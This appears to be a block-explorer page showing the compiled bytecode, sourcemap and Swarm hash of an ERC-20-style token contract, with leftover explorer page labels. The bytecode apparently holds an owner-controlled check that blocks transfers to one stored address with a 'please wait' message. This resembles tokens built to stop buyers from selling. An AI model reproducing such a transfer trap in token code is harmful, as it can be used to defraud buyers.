01840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a723158200f39df836d835d0ce9701279c55bae263e55cf1087c71964699be792faee17a264736f6c63430005110032

Deployed Bytecode Sourcemap

12988:789:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4523:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4523:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;4523:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6697:194;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6697:194:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6697:194:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;6162:108;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6162:108:0;;;:::i;:::-;;;;;;;;;;;;;;;;4594:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4594:20:0;;;:::i;:::-;;;;-1:-1:-1;;;;;4594:20:0;;;;;;;;;;;;;;6895:443;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6895:443:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6895:443:0;;;;;;;;;;;;;;;;;:::i;4546:21::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4546:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6274:116;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6274:116:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;6274:116:0;-1:-1:-1;;;;;6274:116:0;;:::i;3629:178::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3629:178:0;;;:::i;5507:83::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;5507:83:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;5507:83:0;-1:-1:-1;;;;;5507:83:0;;:::i;3261:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3261:20:0;;;:::i;4498:::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4498:20:0;;;:::i;6394:299::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;6394:299:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6394:299:0;;;;;;;;:::i;13586:148::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;13586:148:0;;;:::i;7487:315::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7487:315:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;7487:315:0;;;;;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;7487:315:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;7487:315:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;7487:315:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;7487:315:0;;-1:-1:-1;7487:315:0;;-1:-1:-1;;;;;7487:315:0:i;3286:23::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3286:23:0;;;:::i;7342:141::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7342:141:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;7342:141:0;;;;;;;;;;:::i;3529:96::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3529:96:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;3529:96:0;-1:-1:-1;;;;;3529:96:0;;:::i;4523:18::-;;;;;;;;;;;;;;;-1:-1:-1;;4523:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6697:194::-;6789:10;6760:12;6781:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;6781:28:0;;;;;;;;;;;:37;;;6830;;;;;;;6760:12;;6781:28;;6789:10;;6830:37;;;;;;;;-1:-1:-1;6881:4:0;6697:194;;;;;:::o;6162:108::-;6206:4;6243:20;;;:8;:20;;;;6226:12;;:38;;;:16;:38;:::i;:::-;6219:45;;6162:108;:::o;4594:20::-;;;-1:-1:-1;;;;;4594:20:0;;:::o;6895:443::-;6972:12;-1:-1:-1;;;;;6998:18:0;;;;;;:41;;-1:-1:-1;7020:5:0;;-1:-1:-1;;;;;7020:5:0;:19;6998:41;6995:105;;;7041:5;:10;;-1:-1:-1;;;;;;7041:10:0;-1:-1:-1;;;;;7041:10:0;;;;;6995:105;;;7079:5;;-1:-1:-1;;;;;7073:11:0;;;7079:5;;7073:11;;7065:35;;;;;-1:-1:-1;;;7065:35:0;;;;;;;;;;;;-1:-1:-1;;;7065:35:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;7132:14:0;;;;;;:8;:14;;;;;;:26;;7151:6;7132:26;:18;:26;:::i;:::-;-1:-1:-1;;;;;7115:14:0;;;;;;:8;:14;;;;;;;;:43;;;;7193:7;:13;;;;;7207:10;7193:25;;;;;;:37;;7223:6;7193:37;:29;:37;:::i;:::-;-1:-1:-1;;;;;7165:13:0;;;;;;;:7;:13;;;;;;;;7179:10;7165:25;;;;;;;:65;;;;7252:12;;;;;:8;:12;;;;;:24;;7269:6;7252:24;:16;:24;:::i;:::-;-1:-1:-1;;;;;7237:12:0;;;;;;;:8;:12;;;;;;;;;:39;;;;7288:26;;;;;;;7237:12;;7288:26;;;;;;;;;;;;;-1:-1:-1;7328:4:0;6895:443;;;;;:::o;4546:21::-;;;;;;:::o;6274:116::-;-1:-1:-1;;;;;6364:20:0;6334:12;6364:20;;;:8;:20;;;;;;;6274:116::o;3629:178::-;3692:8;;-1:-1:-1;;;;;3692:8:0;3678:10;:22;3670:31;;;;;;3741:8;;;3734:5;;3713:37;;-1:-1:-1;;;;;3741:8:0;;;;3734:5;;;;3713:37;;;3765:8;;;;3757:16;;-1:-1:-1;;;;;;3757:16:0;;;-1:-1:-1;;;;;3765:8:0;;3757:16;;;;3780:21;;;3629:178::o;5507:83::-;3503:5;;-1:-1:-1;;;;;3503:5:0;3489:10;:19;3481:28;;;;;;5570:5;:14;;-1:-1:-1;;;;;;5570:14:0;-1:-1:-1;;;;;5570:14:0;;;;;;;;;;5507:83::o;3261:20::-;;;-1:-1:-1;;;;;3261:20:0;;:::o;4498:::-;;;;;;;;;;;;;;-1:-1:-1;;4498:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6394:299;6489:5;;6453:12;;-1:-1:-1;;;;;6483:11:0;;;6489:5;;6483:11;;6475:35;;;;;-1:-1:-1;;;6475:35:0;;;;;;;;;;;;-1:-1:-1;;;6475:35:0;;;;;;;;;;;;;;;6556:10;6547:20;;;;:8;:20;;;;;;:32;;6572:6;6547:32;:24;:32;:::i;:::-;6533:10;6524:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;6601:12:0;;;;;;:24;;6618:6;6601:24;:16;:24;:::i;:::-;-1:-1:-1;;;;;6586:12:0;;;;;;:8;:12;;;;;;;;;:39;;;;6637:32;;;;;;;6586:12;;6646:10;;6637:32;;;;;;;;;;-1:-1:-1;6683:4:0;6394:299;;;;:::o;13586:148::-;3503:5;;-1:-1:-1;;;;;3503:5:0;3489:10;:19;3481:28;;;;;;13690:38;;13673:10;;;;13706:21;13690:38;;;;;13648:22;13690:38;13648:22;13690:38;13706:21;13673:10;13690:38;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;13690:38:0;3516:1;13586:148::o;7487:315::-;7605:10;7576:12;7597:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;7597:28:0;;;;;;;;;;;:37;;;7646;;;;;;;7576:12;;7597:28;;7605:10;;7646:37;;;;;;;;7690:88;;-1:-1:-1;;;7690:88:0;;7738:10;7690:88;;;;;;;;;;;;7766:4;7690:88;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7690:47:0;;;;;7738:10;7750:6;;7766:4;7773;;7690:88;;;;;;;;;;;;;;;;-1:-1:-1;8:100;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;7690:88:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;7690:88:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;-1:-1;7792:4:0;;7487:315;-1:-1:-1;;;;;;;7487:315:0:o;3286:23::-;;;-1:-1:-1;;;;;3286:23:0;;:::o;7342:141::-;-1:-1:-1;;;;;7449:19:0;;;7419:14;7449:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;7342:141::o;3529:96::-;3503:5;;-1:-1:-1;;;;;3503:5:0;3489:10;:19;3481:28;;;;;;3599:8;:20;;-1:-1:-1;;;;;;3599:20:0;-1:-1:-1;;;;;3599:20:0;;;;;;;;;;3529:96::o;2086:104::-;2138:6;2166:1;2161;:6;;2153:15;;;;;;-1:-1:-1;2179:5:0;;;2086:104::o;1978:::-;2049:5;;;2069:6;;;;2061:15;;;;

Swarm Source

bzzr://0f39df836d835d0ce9701279c55bae263e55cf1087c71964699be792faee17a2

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.